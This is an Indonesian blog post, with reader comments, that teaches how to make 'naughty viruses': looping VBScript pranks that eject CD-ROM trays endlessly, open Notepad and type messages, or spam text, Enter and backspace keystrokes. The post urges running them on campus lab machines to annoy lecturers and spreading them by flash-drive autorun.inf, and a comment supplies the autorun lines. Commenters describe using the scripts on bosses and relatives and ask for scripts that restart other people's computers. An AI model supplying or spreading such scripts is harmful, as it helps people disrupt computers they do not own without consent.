subscribe: Posts | Comments | Email

Cara membuat Virus Nakal

24 comments

Yuk buat “Virus” Nakal, buat ngerjain dosen/guru yang kita ngga suka, lagi suntuk di ruang labkom kampus, pusing ngga bisa maen facebook karena diblokir sama admin labkom, yah iseng2 buatin scripts .vbs.

Caranya: Buka notepad dan masukkan code berikut,

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.

Cara membuat virus nakal

Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.

NB: kl males atau ga tau cara copasnya. download ajah linknya dibawah:

Nah mau script .vbs yang laen lagi?

WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop

Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik?

ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as

Buat virus nakal

Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!” :D

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu emang jelak koq!"
loop

Dan membuat terus menerus menekan tombol “Enter”

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop

Terus tekan backspace:

MsgBox "Balik lagi ah...saltik"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop

(post updated: May 8, 2010)

Similar Posts:

Related Posts with Thumbnails
Beri nilai 1Beri nilai 2Beri nilai 3Beri nilai 4Beri nilai 5 (1 votes, average: 5.00 out of 5)
Loading ... Loading ...
    • Makasih Kang…
      Saya masih pingin belajar ni..
      Bisa ajarin ga kak tUtorialnya membuat Virus …??

      Mohon bantuannya ya..?
      KIta kan harus saling berbagi ilmu..
      Kirim ke E-mailo saya ya..?

      Thumb up 0 Thumb down 0

  1. wah aku bru bljr komputer jd q ga tau nih,, cara nya… krm ke email q yoww,, cra lbh lngkap’y okeeee

    Thumb up 0 Thumb down 1

  2. mas mau nanya nih…
    masukin di autorun.inf di flashdisk maksudnya….
    tolong penjelasanya ya mas…kirim ke email aja ya mas…..
    thx ….

    Thumb up 0 Thumb down 0

    • mas mau nanya nih… masukin di autorun.inf di flashdisk maksudnya…. tolong penjelasanya ya mas…kirim ke email aja ya mas….. thx ….

      buat file autorun.inf menggunakan notepad isi dgn perintah berikut:

      [autorun]
      open=a.vbs
      icon=a.ico

      Thumb up 0 Thumb down 0

  3. mantab gan,

    Thumb up 0 Thumb down 0

  4. keren banget bang ,, udah ku coba ,,,ada ga bang untuk merestart komputer orang mengunkan virus,,kasih info nya ya bang

    Thumb up 0 Thumb down 0

  5. cba bos di ulang cra masukin ke flashdisk’t aku kurng paham

    Thumb up 0 Thumb down 0

  6. mantab virus’y …
    da yang lebih konyol lgi ga ….

    Thumb up 0 Thumb down 0

  7. hazmi zaffar says:

    oy bos smua software bnr bs di bkin portable ya …
    termsuk game CS ofline

    Thumb up 0 Thumb down 0

  8. Naufal says:

    gimana cara bikin scriptnya sih mohon tanggapanya

    Thumb up 0 Thumb down 0

  9. bos ,mau tnya ….virus nya ok banget
    trus giman cara mnhentikan virus itu?
    aq dah coba tkan ctrl+alt+delete kuk ga bisa ,
    maksud matikan wscripts.exe tu ap?
    dan cara gimn? jelasin sdetail nya y

    Thumb up 0 Thumb down 0

    • udah tekan crtl+alt+del nanti nongol jendela Windows Task Manager klik processes cari wscripts.exe lalu klik tombol “end process”

      Thumb up 0 Thumb down 0

  10. Aq dah tkan ctrl,alt,delete scr bersamaan dan trnyta tdk trjadi ap2.
    Dan cdroomnya msih bka/tutup.
    Gmana nich ada g solusi yg laen,tuk m’ghntikan vrus itu?
    O y ad g scripts virus yg bz mmbuat monitor jdi hidup /mati …

    Thumb up 0 Thumb down 0

    • Wah, crtl+alt+del mungkin udah diblok program tertentu atau virus beneran. restart ajah nanti juga berhenti cd-romnya ga keluar/masuk lg :D

      Thumb up 0 Thumb down 0

  11. saradiwa says:

    weeeew… kren dech trik’a thanks ya bro gw suka gaya lo…

    Thumb up 0 Thumb down 0

  12. Gan coba script ini:
    .gätéli.whshèel.Λ
    Sleep 5ΘΘ
    Msgbox #sendkeys#”all.keys”

    Thumb up 0 Thumb down 0

  13. weee bagusx ini virus mengamuki tante karna ku usilin…

    Thumb up 0 Thumb down 0

  14. hahaahhha keren2 scriptnya sayang gw nga pernah ke lab, btw buat ngerjain op warnet ada ngga

    Thumb up 0 Thumb down 0

  15. leh tanya wscript 2 pa?

    Thumb up 0 Thumb down 0

  16. Setaaaaaaaaaannnn…, gw cobain virus “halo apa kabar” laptop sy ngamuk. Tp tengkyu bos, jd bs ngerjain atasan yg bawel nih, hikhikhik…!!
    file “autorun.inf” jelasin lg donk bos sy kurang ngerti, file “vbs” nya diganti ato gmn? Tengkyu… (kirim ke email ya bos)

    Thumb up 0 Thumb down 0

  17. kang saya udah coba buat virus nakal sesuai dengan script yg anda berikan . Tapi kok ga bisa kang??? gmana cie caranya??? jelaskan yang detail ya??he.he.ehe.

    Thumb up 0 Thumb down 0

Leave a Reply